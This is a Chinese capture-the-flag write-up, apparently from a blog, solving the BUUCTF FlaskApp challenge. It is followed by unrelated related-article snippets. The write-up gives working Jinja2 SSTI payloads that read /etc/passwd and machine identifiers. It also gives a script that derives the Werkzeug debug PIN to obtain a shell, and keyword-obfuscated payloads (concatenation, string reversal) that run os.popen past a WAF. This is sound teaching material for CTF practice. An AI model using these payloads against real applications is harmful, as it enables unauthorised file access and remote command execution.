BUUCTF:[GYCTF2020]FlaskApp
Flask的网站,这里的功能是Base64编码解码,并输出
并且是存在SSTI的
/hint
提示PIN
码
既然提示PIN
,那应该是开启了Debug
模式的,解密栏那里随便输入点什么报错看看,直接报错了,并且该Flask开启了Debug模式,需要PIN码
参考ye1s师傅的:Flask debug模式下的 PIN 码安全性
可知,要获取PIN码需要知道以下几点:
username
:运行该Flask程序的用户名modname
:模块名getattr(app, '__name__', getattr(app.__class__, '__name__'))
:app名,值为Flaskgetattr(mod, '__file__', None)
:Flask
目录下的一个app.py
的绝对路径,这个值可以在报错页面看到。但有个需注意,Python3是app.py
,Python2中是app.pyc
。str(uuid.getnode())
:MAC地址,需要转换成十进制,读取这两个地址:/sys/class/net/eth0/address
或者/sys/class/net/ens33/address
get_machine_id()
:系统id
从报错中还能看出来使用了render_template_string()
从这个render_template_string(tmp)
看,应该是使用的jinja2
引擎,编码{{config}}
,传入解密然后渲染执行
WAF的黑名单:import
、os
、popen
、flag
、eval
、*
、?
等
其实这里就可以使用拼接绕过了,但是我们还是先来试试获取PIN码GetShell的
首先通过报错就可以得知很多信息,Python3的环境以及:
modname
:flask.app
getattr(app, '__name__', getattr(app.__class__, '__name__'))
:Flask
getattr(mod, '__file__', None)
:/usr/local/lib/python3.7/site-packages/flask/app.py
接下来可以通过SSTI去文件读取其他信息,使用jinja2
的控制结构语法构造
jinja2一共三种语法:
控制结构 {% %}
变量取值 {{ }}
注释 {# #}
jinja2的Python模板解释器在构建的时候考虑到了安全问题,删除了大部分敏感函数,相当于构建了一个沙箱环境。
但是一些内置函数和属性还是依然可以使用,而Flask的SSTI就是利用这些内置函数和属性相互组建来达到调用函数的目的,
从而绕过沙箱。__class__ 返回调用的参数类型
__bases__ 返回基类列表
__mro__ 此属性是在方法解析期间寻找基类时的参考类元组
__subclasses__() 返回子类的列表
__globals__ 以字典的形式返回函数所在的全局命名空间所定义的全局变量与func_globals等价
__builtins__ 内建模块的引用,在任何地方都是可见的(包括全局),每个 Python 脚本都会自动加载,这个模块包括了很多强大的 built-in 函数,例如eval, exec, open等等
遍历子类,寻找能读取文件的子类,然后构造
{% for x in {}.__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x.__init__.__globals__['__builtins__'].open('/etc/passwd').read() }}{%endif%}
{%endfor%}
编码一下输入
得到运行Flask的用户名:flaskweb
读Mac地址
{% for x in {}.__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x.__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address').read() }}{%endif%}
{%endfor%}
转换成十进制:
>>> int('d2936368b7c7', 16)
231530469832647
读系统id:1408f836b0ca514d796cbf8960e45fa1
{% for x in {}.__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x.__init__.__globals__['__builtins__'].open('/etc/machine-id').read() }}{%endif%}
{%endfor%}
然后根据前面的分析文章里面的生成脚本得到PIN码
import hashlib
from itertools import chain
probably_public_bits = ['flaskweb'# username'flask.app',# modname'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]private_bits = ['231530469832647',# str(uuid.getnode()), /sys/class/net/eth0/address'1408f836b0ca514d796cbf8960e45fa1'# get_machine_id(), /etc/machine-id
]h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):if not bit:continueif isinstance(bit, str):bit = bit.encode('utf-8')h.update(bit)
h.update(b'cookiesalt')cookie_name = '__wzd' + h.hexdigest()[:20]num = None
if num is None:h.update(b'pinsalt')num = ('%09d' % int(h.hexdigest(), 16))[:9]rv =None
if rv is None:for group_size in 5, 4, 3:if len(num) % group_size == 0:rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')for x in range(0, len(num), group_size))breakelse:rv = numprint(rv)
输入PIN码后可成功获取交互Shell
然而这里有SSTI,即已经可以命令执行了
>>> ().__class__.__base__.__subclasses__()[149]
<class 'warnings.catch_warnings'>
>>> ().__class__.__base__.__subclasses__()[149].__init__.__globals__['__builtins__']['__import__']('os').__dict__['popen']('whoami').read()
'mochu7\\administrator\n'
>>>
只需要绕过关键字过滤即可,例如拼接
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x.__init__.__globals__['__builtins__']['__imp' + 'ort__']('o'+'s').__dict__['po' + 'pen'] ('cat /this_is_the_f'+'lag.txt').read() }}{%endif%}
{%endfor%}
例如逆序
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x.__init__.__globals__['__builtins__']['__tropmi__'[::-1]]('so'[::-1]).__dict__['nepop'[::-1]]('txt.galf_eht_si_siht/ tac'[::-1]).read()}}{%endif%}
{%endfor%}
像这种关键字绕过,SSTI还有很多办法,感兴趣的可以自己研究
相关文章:

BUUCTF:[GYCTF2020]FlaskApp
Flask的网站,这里的功能是Base64编码解码,并输出 并且是存在SSTI的 /hint 提示PIN码 既然提示PIN,那应该是开启了Debug模式的,解密栏那里随便输入点什么报错看看,直接报错了,并且该Flask开启了Debug模式&am…...

好玩的调度技术
好玩的调度技术 文章目录 好玩的调度技术前言一、乱金柝-空间剥离二、拖拽编辑三、全端兼容 前言 最近感觉自己抑郁了,生态技术实在太庞大太复杂,所以我决定先停一段时间,在停下写生态的这两天写了几个调度的小玩意换换脑子,很有…...
Android 自定义加解密播放音视频(m3u8独立加密)
文章目录 背景加密流程音视频解密音视频播放结语 背景 当涉及App内部视频的时候,我们不希望被别人以抓包的形式来爬取我们的视频大视频文件以文件方式整个加密的话需要完全下载后才能进行解密当前m3u8格式虽然支持加密,但是ts格式的小视频可以独立播放的…...

常见的文件格式
一、C:\fakepath\新建文本文档.txt [object String] 实现方式: <input onchange"test(this.value)" type"file"></input><script>function test(e){console.log(e,Object.prototype.toString.call(e))}</script> 二、…...
浏览器输入url后回车展开过程
当你在浏览器中输入一个URL并敲下回车后,浏览器会执行一系列步骤来访问并展示网页。下面是浏览器访问网页的一般流程: DNS解析:浏览器首先会提取URL中的主机名,然后向DNS服务器发送请求,将主机名解析为对应的IP地址。这…...
Docker 容器创建命令说明
使用命令如下: docker run -itd --name=cluster -v /home/ClusterApp/cluster:/home/ClusterApp/cluster --restart=always --privileged=true -p 12000:12000 python:3.8 命令说明: docker run 创建一个容器并运行 docker run --help 可以查看所有的参数: 命令中参数说明 -…...

西瓜书读书笔记整理(六)—— 第六章 支持向量机
第六章 支持向量机 6.1 间隔与支持向量6.1.1 什么是支持向量机6.1.2 支持向量与间隔6.1.3 支持向量机的求解过程 6.2 对偶问题(dual problem)6.2.1 什么是对偶问题6.2.2 如何求解支持向量机的对偶问题 6.3 核函数(kernel function)…...

蓝桥杯每日一题2023.9.23
4961. 整数删除 - AcWing题库 题目描述 分析 注:如果要进行大量的删除操作可以使用链表 动态求最小值使用堆,每次从堆中取出最小值的下标然后在链表中删除 注意long long 代码解释: while(k --){auto t q.top();q.pop();res t.first;i…...

C语言数组和指针笔试题(三)(一定要看)
目录 字符数组四例题1例题2例题3例题4例题5例题6例题7 结果字符数组五例题1例题2例题3例题4例题5例题6例题7结果字符数组六例题1例题2例题3例题4例题5例题6例题7 结果 感谢各位大佬对我的支持,如果我的文章对你有用,欢迎点击以下链接 🐒🐒🐒个…...
leetcode11 盛水最多的容器
题目 给定一个长度为 n 的整数数组 height 。有 n 条垂线,第 i 条线的两个端点是 (i, 0) 和 (i, height[i]) 找出其中的两条线,使得它们与 x 轴共同构成的容器可以容纳最多的水。 返回容器可以储存的最大水量。 示例 输入:[1,8,6,2,5,4,8,…...

进入数据结构的世界
数据结构和算法的概述 一、什么是数据结构二、什么是算法三、如何去学习数据结构和算法四、算法的时间复杂度和空间复杂度4.1 算法效率4.2 大O的渐进表示法4.3 时间复杂度4.4 空间复杂度4.5 常见复杂度对比 一、什么是数据结构 数据结构是计算机存储、组织数据的方式。&#x…...

stm32之看门狗
STM32 有两个看门狗,独立看门狗和窗口看门狗,独立看门狗又称宠物狗,窗 口看门狗又称警犬。可用来检测和解决由软件错误引起的故障。两个看门狗的原理都是当计数器达到给定的超时值时,产生系统复位,对于窗口型看门狗同…...

纤维蛋白单体(FM)介绍
纤维蛋白单体(FM)是血栓形成的早期产物,是纤维蛋白原(Fibrinogen,Fbg)在凝血酶(Thrombin)的作用下,脱掉肽A(Fibrinopeptide A,Fp A)与…...

知识图谱实战导论:从什么是KG到LLM与KG/DB的结合实战
前言 本文侧重讲解: 什么是知识图谱LLM与langchain/数据库/知识图谱的结合应用 比如,虽说基于知识图谱的问答 早在2019年之前就有很多研究了,但谁会想到今年KBQA因为LLM如此突飞猛进呢 第一部分 知识图谱入门导论 //待更.. 第二部分 LLM与…...
第5章 会话与会话技术
第5章 会话与会话技术 一. 单选题(共5题,50分)二. 判断题(共5题,50分) 一. 单选题(共5题,50分) (单选题) 阅读下面代码: Book book BookDB.getBook(id)…...

IDEA2023新UI回退老UI
idea2023年发布了新UI,如下所示 但是用起来真心不好用,各种位置也是错乱,用下面方法可以回退老UI...

ElasticSearch(三)
1.数据聚合 聚合(aggregations)可以让我们极其方便的实现对数据的统计、分析、运算。例如: 什么品牌的手机最受欢迎? 这些手机的平均价格、最高价格、最低价格? 这些手机每月的销售情况如何? 实现这些…...
【LinkedHashMap】146. LRU 缓存
146. LRU 缓存 解题思路 与普通的 HashMap 不同,LinkedHashMap 会保持元素的有序性。这可以在某些情况下提供更可预测的迭代顺序直接获取元素 因为使用到该元素 将该元素重新放入队尾 表示最近使用该元素写入元素,首先如果该元素原来存在 那么需要将ke…...

Opencv-python去图标与水印方案实践
RGB色彩模式是工业界的一种颜色标准,是通过对红(R)、绿(G)、蓝(B)三个颜色通道的变化以及它们相互之间的叠加来得到各式各样的颜色的,RGB即是代表红、绿、蓝三个通道的颜色ÿ…...

自己写过比较蠢的代码:从失败中学习的经验
文章目录 引言1. 代码没有注释2. 长函数和复杂逻辑3. 不恰当的变量名4. 重复的代码5. 不适当的异常处理6. 硬编码的敏感信息7. 没有单元测试结论 🎉 自己写过比较蠢的代码:从失败中学习的经验 ☆* o(≧▽≦)o *☆嗨~我是IT陈寒🍹✨博客主页&a…...

Linux应用开发之网络套接字编程(实例篇)
服务端与客户端单连接 服务端代码 #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <arpa/inet.h> #include <pthread.h> …...

《Qt C++ 与 OpenCV:解锁视频播放程序设计的奥秘》
引言:探索视频播放程序设计之旅 在当今数字化时代,多媒体应用已渗透到我们生活的方方面面,从日常的视频娱乐到专业的视频监控、视频会议系统,视频播放程序作为多媒体应用的核心组成部分,扮演着至关重要的角色。无论是在个人电脑、移动设备还是智能电视等平台上,用户都期望…...

以下是对华为 HarmonyOS NETX 5属性动画(ArkTS)文档的结构化整理,通过层级标题、表格和代码块提升可读性:
一、属性动画概述NETX 作用:实现组件通用属性的渐变过渡效果,提升用户体验。支持属性:width、height、backgroundColor、opacity、scale、rotate、translate等。注意事项: 布局类属性(如宽高)变化时&#…...

CMake基础:构建流程详解
目录 1.CMake构建过程的基本流程 2.CMake构建的具体步骤 2.1.创建构建目录 2.2.使用 CMake 生成构建文件 2.3.编译和构建 2.4.清理构建文件 2.5.重新配置和构建 3.跨平台构建示例 4.工具链与交叉编译 5.CMake构建后的项目结构解析 5.1.CMake构建后的目录结构 5.2.构…...
【决胜公务员考试】求职OMG——见面课测验1
2025最新版!!!6.8截至答题,大家注意呀! 博主码字不易点个关注吧,祝期末顺利~~ 1.单选题(2分) 下列说法错误的是:( B ) A.选调生属于公务员系统 B.公务员属于事业编 C.选调生有基层锻炼的要求 D…...
Matlab | matlab常用命令总结
常用命令 一、 基础操作与环境二、 矩阵与数组操作(核心)三、 绘图与可视化四、 编程与控制流五、 符号计算 (Symbolic Math Toolbox)六、 文件与数据 I/O七、 常用函数类别重要提示这是一份 MATLAB 常用命令和功能的总结,涵盖了基础操作、矩阵运算、绘图、编程和文件处理等…...
Rust 异步编程
Rust 异步编程 引言 Rust 是一种系统编程语言,以其高性能、安全性以及零成本抽象而著称。在多核处理器成为主流的今天,异步编程成为了一种提高应用性能、优化资源利用的有效手段。本文将深入探讨 Rust 异步编程的核心概念、常用库以及最佳实践。 异步编程基础 什么是异步…...
拉力测试cuda pytorch 把 4070显卡拉满
import torch import timedef stress_test_gpu(matrix_size16384, duration300):"""对GPU进行压力测试,通过持续的矩阵乘法来最大化GPU利用率参数:matrix_size: 矩阵维度大小,增大可提高计算复杂度duration: 测试持续时间(秒&…...
Android第十三次面试总结(四大 组件基础)
Activity生命周期和四大启动模式详解 一、Activity 生命周期 Activity 的生命周期由一系列回调方法组成,用于管理其创建、可见性、焦点和销毁过程。以下是核心方法及其调用时机: onCreate() 调用时机:Activity 首次创建时调用。…...

html css js网页制作成品——HTML+CSS榴莲商城网页设计(4页)附源码
目录 一、👨🎓网站题目 二、✍️网站描述 三、📚网站介绍 四、🌐网站效果 五、🪓 代码实现 🧱HTML 六、🥇 如何让学习不再盲目 七、🎁更多干货 一、👨…...